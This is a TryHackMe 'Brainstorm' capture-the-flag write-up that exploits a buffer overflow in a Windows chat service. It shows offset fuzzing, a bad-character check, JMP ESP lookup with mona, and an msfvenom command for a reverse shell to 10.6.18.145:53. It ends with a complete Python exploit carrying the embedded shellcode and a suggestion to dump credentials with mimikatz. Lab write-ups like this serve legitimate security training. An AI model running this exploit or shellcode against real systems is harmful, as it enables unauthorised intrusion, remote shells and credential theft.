Brainstorm (W/THM)

gray box test to leverage a Windows buffer overflow

TryHackMe Brainstorm Write-Up

topics: Buffer Overflows, Windows Privilege Escalation, windows buffer overflows

  1. Enumeration

  2. Local Privilege Escalation

  3. System Privilege Escalation

tools: nmapAutomator, python, msfvenom, nc, Immunity Debugger

Enumeration

initial nmap scan .././autonmap.sh $ip Basic

We have three ports open, FTP, RDP, and a unique service called "abyss?" We are aware that we have to leverage a buffer overflow exploit to obtain nt authority\system privileges, we can assume the port 9999 will enable us to do so. Lets inspect port 21, FTP with anonymous login

FTP

ftp $ip

I tried using the get command but received errors of properly transferring the file, below is the proper method

"Abyss?"

Since we are suspecting this port as the attack vector for the buffer overflow, lets connect to it with nc

nc -v $ip 9999

We're instructed to only input a max of 20 characters, I entered approximately 1000 until the service crashed and I was unable to connect back to it, indicating that we overwrote the buffer.

Lets inspect the files with Immunity Debugger.

System Privilege Escalation

Here we can transfer the exe and dll files to a Windows 10 VM and used Immunity Debugger. Make sure your VM is running on NAT network and port 9999 is open. Run chatserver.exe and attach on Immunity Debugger, click play on Immunity Debugger and begin finding the offset

Finding Offset

We need to fuzz the program to determine at which point will the EIP overflow. We can use pattern_create.rb -l 3000 to generate a string and use nc to open a socket and input the string to the listening executable file. Initially I tried 2000 characters which didn't work, but the program crashed at 3000 characters.

nc -v 10.0.2.15 9999

Let's load this in Immunity Debugger, repeat the command, and fetch the overwritten instruction pointer (EIP)

We can see the EIP value of 31704330 which we can input to pattern_offset to obtain the value

pattern_offset.rb -q 31704330

We have an offset of length 2012 to use A's or NOP sled with payload = "\x90" * 2012 + "JMP ESP" + "\x90" * remainder bytes + shellcode

Identifying Bad Characters

Using this git repo I ran the following python script to test for bad characters

Right click on the stack pointer (ESP) and follow the hash dump. We can use mona to list the bad chars by running the commands !mona bytearray followed by !mona compare -a esp -f bytearray.bin

We can see the only bad character is "\x00"

Finding JMP ESP Address

In order to obtain the address we want to JMP to in the stack pointer (ESP), we can use the command !mona jmp -r esp (manually install mona.py to the pycommands folder)

We see our address is 0x625014df which in little endian syntax will be \xdf\x14\x50\x62

payload = "\x90" * 2012 + "\xdf\x14\x50\x62" + "\x90" * 20 + shellcode

Generating Shellcode

Generating shellcode to open a reverse shell will be fairly easy, we just need to run the following msfvenom command and input the bad characters we found

msfvenom -p windows/shell_reverse_tcp LHOST=10.6.18.145 LPORT=53 -f c -b "\x00"

Initial Access

The remainder bytes are usually calculated depending on the size of the buffer, doing trial and error the standard number of NOP sleds needed is 20. We now have all of the attributes needed to exploit this buffer overflow and gain a reverse shell. Listening on port 53 and running the program python brain.py

#!/usr/bin/env python

# Skeleton Buffer Overflow script
# usage python brain.py <targetIP> <targetPort>

import sys, socket

rhost = sys.argv[1]
rport = int(sys.argv[2])

uname = "Andre3000"

# msfvenom -p windows/shell_reverse_tcp LHOST=10.6.18.145 LPORT=53 -f c -b "\x00"
shellcode = ("\xd9\xe8\xbb\x69\x94\x4f\x1d\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
"\x52\x31\x58\x17\x03\x58\x17\x83\xa9\x90\xad\xe8\xd5\x71\xb3"
"\x13\x25\x82\xd4\x9a\xc0\xb3\xd4\xf9\x81\xe4\xe4\x8a\xc7\x08"
"\x8e\xdf\xf3\x9b\xe2\xf7\xf4\x2c\x48\x2e\x3b\xac\xe1\x12\x5a"
"\x2e\xf8\x46\xbc\x0f\x33\x9b\xbd\x48\x2e\x56\xef\x01\x24\xc5"
"\x1f\x25\x70\xd6\x94\x75\x94\x5e\x49\xcd\x97\x4f\xdc\x45\xce"
"\x4f\xdf\x8a\x7a\xc6\xc7\xcf\x47\x90\x7c\x3b\x33\x23\x54\x75"
"\xbc\x88\x99\xb9\x4f\xd0\xde\x7e\xb0\xa7\x16\x7d\x4d\xb0\xed"
"\xff\x89\x35\xf5\x58\x59\xed\xd1\x59\x8e\x68\x92\x56\x7b\xfe"
"\xfc\x7a\x7a\xd3\x77\x86\xf7\xd2\x57\x0e\x43\xf1\x73\x4a\x17"
"\x98\x22\x36\xf6\xa5\x34\x99\xa7\x03\x3f\x34\xb3\x39\x62\x51"
"\x70\x70\x9c\xa1\x1e\x03\xef\x93\x81\xbf\x67\x98\x4a\x66\x70"
"\xdf\x60\xde\xee\x1e\x8b\x1f\x27\xe5\xdf\x4f\x5f\xcc\x5f\x04"
"\x9f\xf1\xb5\x8b\xcf\x5d\x66\x6c\xbf\x1d\xd6\x04\xd5\x91\x09"
"\x34\xd6\x7b\x22\xdf\x2d\xec\x47\x26\x3f\x7d\x3f\x24\x3f\x7d"
"\xf5\xa1\xd9\x17\xe5\xe7\x72\x80\x9c\xad\x08\x31\x60\x78\x75"
"\x71\xea\x8f\x8a\x3c\x1b\xe5\x98\xa9\xeb\xb0\xc2\x7c\xf3\x6e"
"\x6a\xe2\x66\xf5\x6a\x6d\x9b\xa2\x3d\x3a\x6d\xbb\xab\xd6\xd4"
"\x15\xc9\x2a\x80\x5e\x49\xf1\x71\x60\x50\x74\xcd\x46\x42\x40"
"\xce\xc2\x36\x1c\x99\x9c\xe0\xda\x73\x6f\x5a\xb5\x28\x39\x0a"
"\x40\x03\xfa\x4c\x4d\x4e\x8c\xb0\xfc\x27\xc9\xcf\x31\xa0\xdd"
"\xa8\x2f\x50\x21\x63\xf4\x60\x68\x29\x5d\xe9\x35\xb8\xdf\x74"
"\xc6\x17\x23\x81\x45\x9d\xdc\x76\x55\xd4\xd9\x33\xd1\x05\x90"
"\x2c\xb4\x29\x07\x4c\x9d")

payload = "\x90" * 2012 + "\xdf\x14\x50\x62" + "\x90" * 20 + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c = s.connect((rhost, rport))
s.send(uname + '\r\n')
s.recv(1024)
s.send(payload + '\r\n')
data = s.recv(1024)
s.close()

Following this we could create a more stable shell by transferring an executable and dump credentials of all users and SYSTEM with mimikatz.exe

Last updated